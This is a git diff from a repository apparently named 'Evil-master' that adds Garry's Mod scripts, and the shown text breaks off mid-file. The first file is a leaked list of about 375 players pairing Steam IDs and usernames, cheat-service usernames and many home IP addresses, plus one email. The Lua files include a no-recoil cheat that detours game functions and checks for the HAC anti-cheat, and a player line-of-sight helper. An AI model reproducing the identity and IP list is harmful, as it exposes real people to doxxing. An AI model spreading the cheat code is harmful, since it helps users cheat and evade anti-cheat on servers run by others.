b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cHFUwXNe.txt new file mode 100644 index 0000000..57740dd --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cHFUwXNe.txt @@ -0,0 +1,379 @@ +ALIAS | STEAMID | STEAM USERNAME | SETHACK USERNAME | IP ADDRESS + +Zurchi | STEAM_0:0:24542076 | zurchi123 | Zurchi | 74.45.34.55 +/FL-TPK\ Static | STEAM_0:1:11736063 | dweefer | wesaw | 67.141.31.218 +Vella. | STEAM_0:1:26853786 | vellawashere | vellawashere | 122.111.212.64 +.Nood!e The Epic One #Miami | STEAM_0:0:4268664 | mizzhpnotiq | Supremacy | 108.72.24.220 +STONEY | STEAM_0:1:22308446 | summer1976 | stoney | 75.80.28.115 +g0thic | STEAM_0:1:47029807 | r3tardedboi | sodafiz10 | 24.127.180.80 +Kabab CAPPED D: (upgrading tho) | STEAM_0:0:27281484 | nicko912 | shotgunman123 | 27.33.144.138 +{-Dε-} Frank | STEAM_0:0:25345204 | simonsmsn199 | rusher +Al K Holic | STEAM_0:0:40161943 | azansensation | rockbanh | 98.207.233.203 +Ownage | STEAM_0:0:18355021 | coldkillz | realossum +Plush | STEAM_0:0:31909554 | 50grands | Plushy | 71.251.103.37 +GraV. | STEAM_0:1:6788895 | nughuffer | phuzzz | 68.82.21.148 +Variable #_- | STEAM_0:0:14218119 | diablofocker1 | otyrc | 99.101.16.136 +Someone4956 | STEAM_0:0:41799917 | someone4958 | Orfen | 74.245.102.189 +Armo702 | STEAM_0:1:20318952 | harut702 | nvenergy | 68.224.99.244 +|QIG|Carbon | STEAM_0:1:31811639 | carbon1121 | noobers | 184.19.206.7 +vizioN | STEAM_0:1:10457218 | uboplayer10515 | Noize | 76.16.178.166 +Kenni Holm | STEAM_0:0:38893214 | malteersej123 | nicki0676 | 80.162.231.70 +Benjamin | STEAM_0:0:31372055 | nachtmaere | NachtMaere +TrishaH! | STEAM_0:1:12412908 | corystraka | mster_93 | 72.177.171.196 +Heineken | STEAM_0:0:28307108 | heinserver | MrShizzle | 87.210.126.221 +Tha hotzi | STEAM_0:1:26736765 | temponinja | Mathias242 | 188.114.145.234 +ZERO-OfC.38713 | STEAM_0:1:48308696 | maryland420 | maryland | 92.32.218.120 +Lonke_skâ–ˆken | STEAM_0:1:20690416 | powertech95 | Lonke | 90.224.61.185 +Lemmi Winks | STEAM_0:0:48430247 | lwinks | Lemmi | 114.77.240.243 +The Great Milenko | STEAM_0:0:38727026 | briannm11 | Krypton | 67.184.25.186 +That one black friend you have | STEAM_0:0:10089448 | kris144 | kris144 +oG] Tiger Diaz | STEAM_0:1:13737877 | ronbo101 | jdog +Paradox | STEAM_0:1:25032393 | shockwave513 | iParadox | 67.204.222.225 +GameBro | STEAM_0:1:25961258 | krystalmeth | HezzAU +Agent Gibbs | STEAM_0:1:46113191 | billsanders19 | hexxus +-GuN- Hemirox | STEAM_0:0:26325520 | hemirox | hemirox | 69.250.107.183 +pllu | STEAM_0:0:14084529 | magnus733 | helseth321 | 80.212.107.153 +State Trooper | STEAM_0:0:43988463 | bullhead1997 | halo200663 | 99.163.95.16 +ASDN Miss May I | STEAM_0:0:36820593 | mitchjk1616 | GetSomeBro | 99.251.43.245 +[OG-A] Chris | STEAM_0:0:15930135 | lilganxsta | Georgethegray +Eltrut | STEAM_0:0:29790222 | _exilez_ | flybabe | 90.214.94.233 +Flapadar | STEAM_0:0:10839552 | Flapadar +whatsinthecurtain | STEAM_0:0:48424005 | stanmarsh1 | feerer1999 | 98.177.158.230 +MostWantedPwnz | STEAM_0:1:12681987 | holeesheet | FallenAmnesia | 174.1.64.40 +Philop | STEAM_0:1:41152155 | zeus5k | ezrider | 68.6.136.199 +cola | STEAM_0:1:32073049 | candykid7 | dz +Rick Ross12 | STEAM_0:1:38018800 | jharter14 | driftz | 24.210.231.111 +[iF] ThyDistractioN | STEAM_0:1:34370714 | smdordiie | dray +.Skeetz | STEAM_0:1:14682870 | toodandee | Drakkennith | 76.97.51.36 +Gaston | STEAM_0:1:37173161 | 777heavenslord777 | Doom +despected | STEAM_0:1:16602699 | mikerizi | despected | 174.119.166.195 +The Opal PrinceÂ…Â… | STEAM_0:0:33147875 | uglycarr2 | delta404 | 72.91.117.4 +Trollcopter | STEAM_0:0:17104852 | brod8294 | brody | 24.255.170.133 +Brlski | STEAM_0:0:45776064 | brlski | brlski | 75.100.147.4 +kl0wn | STEAM_0:0:3950924 | kl0wnzy | br0wny | 96.42.17.112 +TR 2Lt. C. Beckett | STEAM_0:0:31391445 | xxdagrimreaperxx | Blade33 | 108.20.158.176 +658402 | STEAM_0:0:32767364 | ironmaidenbitch123 | bgfds | 96.51.25.176 +Das|Swag | STEAM_0:1:17041504 | bfwnathan | bfwnathan | 96.35.93.49 +Dâ–ˆS████ | STEAM_0:1:15748061 | bfwlegend | bfwlegend | 96.35.93.49 +[Gmod.biZ] Sir.Genome | STEAM_0:0:48346538 | arcncss | arcn | 46.9.132.33 +[IG-A] Loweskii | STEAM_0:0:39101463 | b_lowe | AlwaysOnFiyah | 71.57.10.28 +Mr. Green | STEAM_0:1:24311352 | alexgopro | AlexWHS1 | 84.19.169.227 +Boodgie | STEAM_0:0:37814204 | aaroniveson | aaronxd +HawkMan | STEAM_0:0:27284598 | kbhawkman | 76.102.110.26 +Zilch | STEAM_0:1:46476374 | mangwtf1 | 174.113.4.221 +[FG]EvilOnee | STEAM_0:1:21421892 +o o | STEAM_0:1:23836998 +BibidyBobidy ッ | STEAM_0:1:23860062 | ble98 | 64.71.118.113 +DoG | STEAM_0:1:21196163 +[FG] KeNNy | STEAM_0:1:22097298 +P3DR0 H4B4N3R0 | STEAM_0:1:24298133 +๖ۣۜڱŋợÉGlợÉ | ~NyuuN | STEAM_0:1:20754655 +Hyper Iguana | STEAM_0:1:24365429 +QUAZI | STEAM_0:1:16650255 +Dirty Negro | STEAM_0:1:47407672 +ï| Tittles | STEAM_0:1:23359101 +Mr Derpa | STEAM_0:1:23240412 +Zman_- | STEAM_0:1:22090954 +**Th0m@Z** ~ | STEAM_0:1:21961455 +Sixshot | STEAM_0:1:21779583 +deer' | STEAM_0:1:22119869 +Zomg!NoWai! | STEAM_0:1:22390206 | jellystomper | 96.234.147.63 +Ivéf | STEAM_0:1:22293020 +Shrugy | STEAM_0:1:22395794 +PuRpLeHaZe - FEAR.FM | STEAM_0:1:22689778 +Mr. Box | STEAM_0:1:21555783 +<*DG*>YoÅøﻮGιу™ | STEAM_0:1:22857859 +๖ۣۜGhoئtÑÂideÑ | STEAM_0:1:24283095 +*Pinguu.Lua | STEAM_0:1:45424776 +ZeusTheAlmighty | STEAM_0:1:20106843 +è± | STEAM_0:1:20099256 +Keeran | STEAM_0:1:19812177 +Metrotyranno | STEAM_0:1:14299044 +Bearcat WOLFCRAFT.BIZ | STEAM_0:1:14220841 +Dat Idle Guy | STEAM_0:1:14133131 +Skull | STEAM_0:1:5247800 +Arlando | STEAM_0:1:13142739 +Bon Bons | STEAM_0:1:5638617 +AweSome | STEAM_0:1:12965434 +Death From Above | STEAM_0:1:6832210 +Rambo | STEAM_0:1:12151307 +EveryFlavor | STEAM_0:1:11726504 +Sasquatch | STEAM_0:1:11455628 | brayden307 | 137.186.61.153 +Zukazan [∆F] ☃: | STEAM_0:1:11445558 +el porsche | STEAM_0:1:11340452 +Xike | STEAM_0:1:11183998 +LaWL den 2 | STEAM_0:1:9679654 +Major Lazare | STEAM_0:1:14736268 +Love | STEAM_0:1:14864726 +Atomic | STEAM_0:1:15217338 +Niggly | STEAM_0:1:47460935 +Suck farts out of your butthole | STEAM_0:1:19916550 +Who? | STEAM_0:1:19896283 +|GoG| Rick.James(GoGisUP !) | STEAM_0:1:19825574 +Terd | STEAM_0:1:48004946 +Hobo | STEAM_0:1:19758658 +Juice Gamer | STEAM_0:1:19487854 +[Xiv]Chuck | STEAM_0:1:18927264 | mathewsonc | 99.50.122.160 +Douglas Quaid | STEAM_0:1:18503351 +Ace | STEAM_0:1:18428802 | thurman469 | 99.3.32.69 +SofaKing! | STEAM_0:1:1816051 | fordmustangracer@sbcglobal.net | 67.181.123.163 +Sex | STEAM_0:1:17510845 +drrrr | STEAM_0:1:17174283 +LiMe313 |úѕ| | STEAM_0:1:15671127 +The Mysterious One | STEAM_0:1:15465879 +Roqj | STEAM_0:1:20394702 | starhero_tom +EpicWin | STEAM_0:1:10951517 +The King | STEAM_0:1:41847396 +Ollie1999tx | STEAM_0:1:34087705 +I'm A Potato! Eat Me! | STEAM_0:1:34494278 +~â¯~ | STEAM_0:1:42186117 +BlueGhostHD | STEAM_0:1:35038611 +Exogen Manwhore | Killjoy | STEAM_0:1:35214598 +[HZ]Spc. CarmineGear | STEAM_0:1:35864181 +CHINK_ | STEAM_0:1:36452221 +Jacob | STEAM_0:1:36634664 +Ollie1999tx | STEAM_0:1:34087705 +[R.A.D.] Pro.fessor {SCAT} | STEAM_0:1:33947987 +weps|Ciudad-Viciosa.tk|Stop OPEN | STEAM_0:1:32188768 +PrimeDeath | STEAM_0:1:32540524 | jubbil | 82.11.130.3 +metawolf ~ | STEAM_0:1:32988394 +PiTÊ™vâ„“â„“ | STEAM_0:1:33316540 +»TRoxiiN | STEAM_0:1:33348455 | lukemolina | 58.178.200.164 +Boxedin123 | STEAM_0:1:33708353 +[WGZ-Mod] Professional | STEAM_0:1:42239129 +Arrex | STEAM_0:1:33804755 +Melon | STEAM_0:1:36817398 +Aeris | STEAM_0:1:36831604 +Smelly | STEAM_0:1:38471187 +--EMPTY-- | STEAM_0:1:38572580 +GOD Unit | STEAM_0:1:39151178 | alientree | 173.33.0.20 +Garmuyu | STEAM_0:1:39246443 +Modem | STEAM_0:1:39945838 +||TPB|| MuneyMan | STEAM_0:1:40421851 +Jackson | STEAM_0:1:40740032 +Ominous Penguin | STEAM_0:1:41231090 +Spectralx | STEAM_0:1:38418099 +Mort | STEAM_0:1:38224022 +y0gurt | STEAM_0:1:42061868 +Mr. hat | STEAM_0:1:37475407 +Lakai | STEAM_0:1:37602703 +Cepheus | STEAM_0:1:37768656 +NOSEE | STEAM_0:1:37836545 +sniper0shaman | STEAM_0:1:37962455 +NRG iStealth | STEAM_0:1:42115332 +Lutraphobia | STEAM_0:1:3820407 | cyberizone1 | 71.169.2.94 +()()-AfroTendovvi | STEAM_0:1:32024708 +Mr. Lister | STEAM_0:1:42922839 +MaddenIsRiggedAsFuck | STEAM_0:1:43675285 +ZippoKing | STEAM_0:1:44231995 | thefatmexican420 | 70.244.33.236 +DESUDESUDESUDESUDESUDESUDESU | STEAM_0:1:44179686 +[GM] Gaw | STEAM_0:1:26104355 +rED | STEAM_0:1:26149157 +S!lv3r Sk1ES | STEAM_0:1:26344770 +PurpleOne [NL]. | STEAM_0:1:26452550 +Balphi | STEAM_0:1:44138147 +XxLordxL | STEAM_0:1:43834910 +KingQuarter | STEAM_0:1:25946562 +[AsdN] _|Azadiri|_ | STEAM_0:1:25608913 +I dat Guy MakeVio | STEAM_0:1:24429786 +Â…Â… | STEAM_0:1:24435842 +[w2F] dino | STEAM_0:1:27816443 +-{PuG}- Oscor :3 | STEAM_0:1:24452164 +Pitbull | STEAM_0:1:25015916 +[Vs3-FAN] Carlosss!!! | STEAM_0:1:45012497 | charlestremblay294 | 69.159.131.29 +Beast | STEAM_0:1:44677843 +Chocomeli | STEAM_0:1:25555698 +strysw | STEAM_0:1:26860260 | dlxchrome | 66.74.81.205 +Dragon Born - Bescharlie | STEAM_0:1:26949104 +[DTG] Sgarner215 | STEAM_0:1:29951145 +sapsapsap | STEAM_0:1:43680868 +Bravebud | STEAM_0:1:30107073 +Astrid | STEAM_0:1:30433726 +Nope? | STEAM_0:1:30665992 +Phatpat420 | STEAM_0:1:30673177 +Troller T Troller | STEAM_0:1:31052706 +=ZCC= Niko | STEAM_0:1:31336428 | killahomes21 | 173.27.6.200 +Grim | STEAM_0:1:29826193 +Chaotic_Killa | STEAM_0:1:29797333 | chaotic_killa_420 | 174.102.141.79 +-=NrK=- XxSimxX | STEAM_0:1:27314406 | xxsimxx22 | 96.23.106.235 +Diabetis!! | STEAM_0:1:28606506 +[BSG] Fall0ut | STEAM_0:1:28741409 +S0lid^ | STEAM_0:1:28757742 | onetion | 80.202.233.167 +John Mason | STEAM_0:1:28821506 | carbineee | 24.13.99.253 +Hard Dick Chappy | STEAM_0:1:28822567 +[NNJG]Weard22 | STEAM_0:1:29131992 +Barack Obama | STEAM_0:1:29688941 +Teh Penguin | STEAM_0:1:24413062 | mrpenguin81 | 24.209.97.66 +Anders Behring Breivik | STEAM_0:1:10908429 +Hype | STEAM_0:0:22193301 +Atee | STEAM_0:0:24893931 +ClubLuigi | STEAM_0:0:24940422 +broWnie! :)<3 | STEAM_0:0:25158284 +Waffle | STEAM_0:0:25270338 +Jessi | STEAM_0:0:25348067 +ŠŠŠŠ‹‹‹ ŠŠŠŠ‹‹‹rawr | STEAM_0:0:25381040 | blokpoi | 72.184.19.27 +Apple<3 | STEAM_0:0:25512219 +Jamie H | STEAM_0:0:25687098 +Edit.ѕý | STEAM_0:0:24663823 +im so sorry | STEAM_0:0:24542833 +Ceeren - cat and coup | STEAM_0:0:24235484 +SadFace | STEAM_0:0:22954333 +TKO. Pancake Mix | STEAM_0:0:23397918 +ReconPWNâ„¢ | STEAM_0:0:23718967 +Special Agent Johnson | STEAM_0:0:23748086 +Smelly | STEAM_0:0:23751500 +Renzo | STEAM_0:0:23783780 +Z0mbiN3 | STEAM_0:0:23888757 +TrueCoppa | STEAM_0:0:24213184 +-ħҞG- â±¢ÆÂÆÂʇ | STEAM_0:0:25914952 +I like pie. | STEAM_0:0:25993862 +Bomb | STEAM_0:0:27566975 +(=PCH-A=) BloodKhaoz (Z-TV) | STEAM_0:0:27969040 +Nick | STEAM_0:0:28182488 +☮Lizard95♥ | STEAM_0:0:21444604 +HolyWater | STEAM_0:0:28581801 +GLaDOS | STEAM_0:0:29239364 +Sanyo | STEAM_0:0:29309865 | pop002 | 72.193.3.45 +Becky | STEAM_0:0:29351959 +Shadowkaisa | STEAM_0:0:27533033 +Xyven | STEAM_0:0:27413348 +Sergei Petrovic | STEAM_0:0:27083822 | micd55 | 66.90.75.109 +Fried Chicken Dawg | STEAM_0:0:26159643 +bubba | STEAM_0:0:26325272 +Fjernsyn | STEAM_0:0:26707259 +L33T H4X0R | STEAM_0:0:26745412 +prophet Elousive [killerj.gc | STEAM_0:0:7382018 +Non-Toxic | STEAM_0:0:8392364 +Cole | STEAM_0:0:8406038 +GarBear | STEAM_0:0:8742065 +Canuckk | STEAM_0:0:9666313 +p0seyd0n | STEAM_0:1:10309922 +KaNN | STEAM_0:1:10417976 +Daniel | STEAM_0:0:6008944 +[HA]SwááäâG' LIke a Baws. | STEAM_0:0:5976660 +here i go | STEAM_0:0:47772765 +Dynasty | STEAM_0:0:44029436 +| STEAM_0:0:44719051 +sKiTTel | STEAM_0:0:44864516 +Ben Naughtyâ„¢ | STEAM_0:0:45008543 +Xero | STEAM_0:0:45552887 | darien3130 | 24.23.227.150 +Mao ~ | STEAM_0:0:45680214 +Explosive dirrhea | STEAM_0:0:46066 +Diabetic Horse | STEAM_0:0:46676890 +[Gmod.Biz] Dr.Luigi 憤怒的洪浠| STEAM_0:1:10487209 +Krutas | STEAM_0:0:39817531 | richirik2006 | 76.169.46.123 +☜â™â€The Toastâ™â€Ã¢ËœÅ¾ | STEAM_0:0:30231250 +Karsonatorz ||FLÙï­Â|| | STEAM_0:0:31831965 +carl | STEAM_0:0:31911048 +(CG) Birdman | STEAM_0:0:32144549 +New Kids till eternity | STEAM_0:0:32211033 +sopa police | STEAM_0:0:32816200 +Duilio | STEAM_0:0:33176714 +[GDIF] GDI UPLOADING | STEAM_0:0:33891807 | andre_125 | 85.243.41.203 +Travis | STEAM_0:0:34143111 | dillengers | 184.148.96.125 +[FG] Batyote | STEAM_0:0:31700656 +(WBA Inf.)Pfc. Killjoy445 | STEAM_0:0:31615557 +James | STEAM_0:0:31219365 +Cyphy | STEAM_0:0:30256551 +Santa_Claus | STEAM_0:0:30475525 | bananer_bent | 87.59.117.193 +Glazed | STEAM_0:0:3051020 +Mark | STEAM_0:0:30714265 +CaLi-#pRo- | STEAM_0:0:30763145 +Zack | STEAM_0:0:30826484 | zack_905 | 72.38.27.253 +|RollG| CupQuakes | STEAM_0:0:31001396 +Ipwnedx @ PwnGaming.net | STEAM_0:0:31109435 | airsoftman87 | 72.185.183.144 +L0xX1^ +2 Line-up, inkl caller! | STEAM_0:0:34175835 +Kay | STEAM_0:0:34407341 | connor_2713 | 108.20.28.62 +wootz | STEAM_0:0:37589369 +Kropp | STEAM_0:0:37727265 +Rbps <3 Kirby | STEAM_0:0:37919749 +Supreme | STEAM_0:0:37946973 +Gabbo | STEAM_0:0:37989029 +Herpinshmerp | STEAM_0:0:38251387 | linksword917 | 75.76.83.234 +Plutâ–ˆium | STEAM_0:0:39050301 | clockworkcycles +Mortal Freaking Viking (NOR( | STEAM_0:0:39163312 +๖ۣۜRavenger_- [BSG] | STEAM_0:0:36684923 +Pwnography | STEAM_0:0:36420722 | foolhardiness | 64.9.249.3 +†๖̶ۣۜHateItOrLoveIt †| STEAM_0:0:36205580 +The Flying Chicken | STEAM_0:0:34899925 +[TNS-M] Scene | STEAM_0:0:35034428 +boat | STEAM_0:0:35693267 +HAZARD | STEAM_0:0:35799570 | darkpwange | 23.16.211.115 +Killa_Mike | STEAM_0:0:3592017 +Twitty/Notch/Boxxy(MAJOR) | STEAM_0:0:35978616 +|WT| make violence not war | STEAM_0:0:36040190 | mrguy12321 | 70.114.57.177 +st0p ACTA n00bz | STEAM_0:0:36088084 +noiamnotknuckles | STEAM_0:0:39543268 + +375 Total Users with 106 Steam Usernames, 59 SethHack Usernames and 92 IP Addresses registered. \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cansee.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cansee.lua new file mode 100644 index 0000000..0945031 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cansee.lua @@ -0,0 +1,85 @@ + + + +local DELAY_LAST = 0 +local DELAY_TOTAL = 2.0 +local Players = {} + +local function FillPlayerTable() --Refresh table, only adding every 2s to not lag + if (CurTime() < (DELAY_LAST + DELAY_TOTAL)) then + return Players + end + + Players = player.GetAll() + + for k,v in pairs(Players) do --Remove bad players + if ValidEntity(v) and (v:Team() == TEAM_SPECTATOR or not v:Alive()) then + table.remove(Players, k) + end + end + + DELAY_LAST = CurTime() + return Players +end + + +local function SortDistance(ply1,ply2) + return (ply1:GetPos():Distance( ply2:GetPos() ) ) < (ply2:GetPos():Distance( ply1:GetPos() ) ) +end + +local MaxAngle = math.cos( math.rad(45) ) +local HisEyes = Vector(0,0,32) + +local lastWitnessCheck = 0 +local witnessCheckDelay = 0.3 +local LocaPos = nil + +local TraceRes = { + mask = MASK_SOLID_BRUSHONLY, +} +local Trace = {} +local PlayersCanSee = {} + +function CheckCanSee() + if ( CurTime() > (lastWitnessCheck + witnessCheckDelay) ) then + LocaPos = LocalPlayer():EyePos() + PlayersCanSee = {} + + for k,target in pairs( FillPlayerTable() ) do + if ValidEntity(target) and target != LocalPlayer() then + Trace.start = LocaPos + HisEyes + Trace.endpos = target:EyePos() + HisEyes + Trace.filter = {target, LocalPlayer()} + + TraceRes = util.TraceLine( Trace ) + if not TraceRes.Hit then + if (target:EyeAngles():Forward():DotProduct((LocaPos - target:EyePos()):Normalize()) > MaxAngle) then --Can see! + table.insert(PlayersCanSee, target) + end + end + end + end + table.sort(PlayersCanSee, SortDistance) + + lastWitnessCheck = CurTime() + end +end +hook.Add("Think", "CheckCanSee", CheckCanSee) + + +concommand.Add("lol", function() + PrintTable( PlayersCanSee ) +end) + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_RCL.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_RCL.lua new file mode 100644 index 0000000..5d5ad3f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_RCL.lua @@ -0,0 +1,70 @@ + + +local Enabled = false +local Force = CreateClientConVar("hex_recoil_force", 0, false, false) + + +local function HeXNoRecoil() + if Enabled then + if ValidEntity(LocalPlayer():GetActiveWeapon()) and (LocalPlayer():GetActiveWeapon().Primary and LocalPlayer():GetActiveWeapon().Primary.Recoil != 0) then + LocalPlayer():GetActiveWeapon().OldRecoil = LocalPlayer():GetActiveWeapon().Recoil or (LocalPlayer():GetActiveWeapon().Primary and LocalPlayer():GetActiveWeapon().Primary.Recoil) + LocalPlayer():GetActiveWeapon().Recoil = 0 + LocalPlayer():GetActiveWeapon().Primary.Recoil = 0 + end + elseif ValidEntity(LocalPlayer():GetActiveWeapon()) and (LocalPlayer():GetActiveWeapon().Primary and LocalPlayer():GetActiveWeapon().Primary.Recoil == 0) and LocalPlayer():GetActiveWeapon().OldRecoil then + LocalPlayer():GetActiveWeapon().Recoil = LocalPlayer():GetActiveWeapon().OldRecoil + LocalPlayer():GetActiveWeapon().Primary.Recoil = LocalPlayer():GetActiveWeapon().OldRecoil + end +end + + + +local function RecoilToggle(ply,cmd,args) + if Enabled then + Enabled = false + print("Recoil enabled") + else + Enabled = true + print("Recoil disabled") + end +end +concommand.Add("hex_recoil_toggle", RecoilToggle) + + + +local function IsCSS() + return HeX.MyCall(4):find("weapon_") +end + +local function ViewPunch(self,ang) + if IsCSS() then return end + + return self:ViewPunchOld(ang) +end +local function SetEyeAngles(self,ang) + if IsCSS() then return end + + return self:SetEyeAnglesOld(ang) +end + +local function RecoilEnabled(ply,cmd,args) + if HACInstalled and not Force:GetBool() then + print("! HAC is running, dangerous!, force enable to use") + return + end + + HeX.Detour.Player("ViewPunch", ViewPunch) + HeX.Detour.Player("SetEyeAngles", SetEyeAngles) + + hook.Add("Think", "HeXNoRecoil", HeXNoRecoil) +end +concommand.Add("hex_recoil_enabled", RecoilEnabled) + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_SRVLog.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_SRVLog.lua new file mode 100644 index 0000000..36ce7a4 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_SRVLog.lua @@ -0,0 +1,52 @@ +if SERVER then return end +--HeX's "WTF was that server i played on!" script + +local SRVLogEnabled = CreateClientConVar("srv_log_enabled", 1, true, false) +local SRVLogFile = "SRVLog/SRVLog.txt" + +local ServerFullDate = os.date("%d-%m-%y %I:%M%p") +local ServerTime = os.date("%I-%M%p") +local ServerName = GetHostName() +local ServerIP = "0.0.0.0" +local ServerMap = game.GetMap() +local ServerPlayers = "0/0" +local SRVLogString = "SRVLogString" +local GModVersion = "U"..VERSION + +function SRVLogLog() + SRVLogFile = "SRVLog/"..os.date("%d-%m-%Y_%A")..".txt" + ServerFullDate = os.date("%d-%m-%y %I:%M%p") + + ServerTime = os.date("%I-%M%p") + ServerName = GetHostName() + ServerIP = "0.0.0.0" --there is no way to get the current server's IP that i know of + ServerMap = game.GetMap() + ServerPlayers = string.format("%s/%s", #player.GetAll(), MaxPlayers()) + + SRVLogString = string.format("[%s]\nName: %s\nPlayers: %s\nMap: %s\nV: %s\n\n", ServerFullDate, ServerName, ServerPlayers, ServerMap, GModVersion) + --SRVLogString = string.format("[%s]\nName: %s\nIP: %s\n Players: %s\nMap: %s\n\n", ServerFullDate, ServerName, ServerIP, ServerPlayers, ServerMap) + + if not file.Exists(SRVLogFile) then + file.Write(SRVLogFile, string.format("HeX's Server Log created at [%s]\n\n", ServerFullDate)) + end + filex.Append(SRVLogFile, SRVLogString) + Msg("\n"..SRVLogString) +end +concommand.Add("logserver", SRVLogLog) + +local function SRVLogInit() + timer.Create("SRVLogInit", 5, 1, function() + if not SinglePlayer() and SRVLogEnabled:GetBool() and (#player.GetAll() > 1) then + SRVLogLog() + end + end) +end +hook.Add("InitPostEntity", "SRVLog", SRVLogInit) + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_ki.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_ki.lua new file mode 100644 index 0000000..3f92381 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_ki.lua @@ -0,0 +1,36 @@ + +usermessage.Hook( "PlayerKilled", function ( message ) + + local victim = message:ReadEntity(); + local inflictor = message:ReadString(); + local attacker = "#" .. message:ReadString(); + + if (attacker == "#npc_turret_floor") then inflictor = "npc_turret_floor" end + + GAMEMODE:AddDeathNotice( attacker, -1, inflictor, victim:Name(), victim:Team() ) + +end ) + +usermessage.Hook( "NPCKilledNPC", function ( message ) + + local victim = "#" .. message:ReadString(); + local inflictor = message:ReadString(); + local tmp = message:ReadString(); + local attacker = "#" .. tmp; + + if (tmp == "combine_mine" or + tmp == "npc_antlion" or + tmp == "npc_turret_floor" or + tmp == "npc_antlionguard" or + tmp == "npc_barnacle" or + (tmp == "npc_antlion_worker" and inflictor ~= "grenade_spit") or + (tmp == "npc_hunter" and inflictor ~= "hunter_flechette") or + (tmp == "npc_strider" and inflictor ~= "concussiveblast") or + tmp == "npc_rollermine" or + tmp == "weapon_striderbuster" or + tmp == "npc_manhack") then inflictor = tmp + end + + GAMEMODE:AddDeathNotice( attacker, -1, inflictor, victim, -1 ) + +end ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_killicons.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_killicons.lua new file mode 100644 index 0000000..2de095f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_killicons.lua @@ -0,0 +1,112 @@ +killicons_color = Color( 255, 80, 0, 255 ) + +local function AddKillicon(class, material) + killicon.Add(class,material,killicons_color) +end + +-- Source entities + +killicon.Add( "ent_mad_c4", "vgui/entities/weapon_mad_c4", Color( 255, 255, 255, 255 ) ) + +killicon.AddFont( "npc_tripmine", "HL2MPTypeDeath", "*", Color( 255, 80, 0, 255 ) ) +killicon.AddFont( "npc_satchel", "HL2MPTypeDeath", "*", Color( 255, 80, 0, 255 ) ) + +killicon.AddFont( "weapon_bulletnade", "HL2MPTypeDeath", "5", Color( 255, 80, 0, 255 ) ) +killicon.AddFont( "bullet_grenade", "HL2MPTypeDeath", "5", Color( 255, 80, 0, 255 ) ) + +killicon.AddFont( "boomstick", "HL2MPTypeDeath", "0", Color( 15, 20, 200, 255 ) ) + + + + +--my end only +--killicon.Add( "weapon_sniper", "vgui/entities/weapon_sniper", Color( 255, 255, 255, 255 ) ) + +killicon.AddFont("weapon_sniper","CSKillIcons","r",Color( 15, 20, 200, 255 )) + + +AddKillicon("env_fire","killicons/env_fire_killicon") +AddKillicon("entityflame","killicons/env_fire_killicon") + +AddKillicon("worldspawn","killicons/worldspawn_killicon") + +AddKillicon("env_explosion","killicons/env_explosion_killicon") +AddKillicon("env_physexplosion","killicons/env_explosion_killicon") + +AddKillicon("env_laser","killicons/env_laser_killicon") +AddKillicon("env_beam","killicons/env_laser_killicon") + +AddKillicon("combine_mine","killicons/combine_mine_killicon") +--AddKillicon("npc_antlion","killicons/npc_antlion_killicon") +--AddKillicon("npc_antlionguard","killicons/npc_antlionguard_killicon") +--AddKillicon("npc_manhack","killicons/npc_manhack_killicon") +--AddKillicon("npc_rollermine","killicons/npc_rollermine_killicon") +--AddKillicon("npc_barnacle","killicons/npc_barnacle_killicon") +--AddKillicon("npc_strider","killicons/npc_strider_gun_killicon") +AddKillicon("concussiveblast","killicons/npc_strider_cannon_killicon") + +AddKillicon("func_physbox","killicons/func_physbox_killicon") +AddKillicon("func_physbox_multiplayer","killicons/func_physbox_killicon") + +--AddKillicon("prop_ragdoll","killicons/prop_ragdoll_killicon") + +AddKillicon("point_hurt","killicons/point_hurt_killicon") +AddKillicon("trigger_hurt","killicons/point_hurt_killicon") + +AddKillicon("func_door","killicons/func_door_killicon") +AddKillicon("func_door_rotating","killicons/func_door_killicon") +AddKillicon("prop_door_rotating","killicons/func_door_killicon") + +AddKillicon("env_headcrabcanister","killicons/env_headcrabcanister_killicon") + +-- GMod 2007 +AddKillicon("npc_antlion_worker","killicons/npc_antlion_killicon") +AddKillicon("grenade_spit","killicons/grenade_spit_killicon") +AddKillicon("hunter_flechette","killicons/hunter_flechette_killicon") +AddKillicon("weapon_striderbuster","killicons/weapon_striderbuster_killicon") + +-- Nuke +AddKillicon("sent_nuke","killicons/sent_nuke_killicon") +AddKillicon("sent_nuke_radiation","killicons/sent_nuke_killicon") + +-- _Kilburn's SWEPs +AddKillicon("weapon_weldball","killicons/weldball_killicon") +AddKillicon("npc_weldball_proj","killicons/weldball_killicon") +AddKillicon("npc_weldball_proj_dead","killicons/weldball_killicon") +AddKillicon("weapon_spazzernade","killicons/spazzernade_killicon") +AddKillicon("npc_spazzenade_proj","killicons/spazzernade_killicon") + +usermessage.Hook( "PlayerKilled", function ( message ) + + local victim = message:ReadEntity(); + local inflictor = message:ReadString(); + local attacker = "#" .. message:ReadString(); + + if (attacker == "#combine_mine") then inflictor = "combine_mine" end + + GAMEMODE:AddDeathNotice( attacker, -1, inflictor, victim:Name(), victim:Team() ) + +end ) + +usermessage.Hook( "NPCKilledNPC", function ( message ) + + local victim = "#" .. message:ReadString(); + local inflictor = message:ReadString(); + local tmp = message:ReadString(); + local attacker = "#" .. tmp; + + if (tmp == "combine_mine" or + tmp == "npc_antlion" or + tmp == "npc_antlionguard" or + tmp == "npc_barnacle" or + 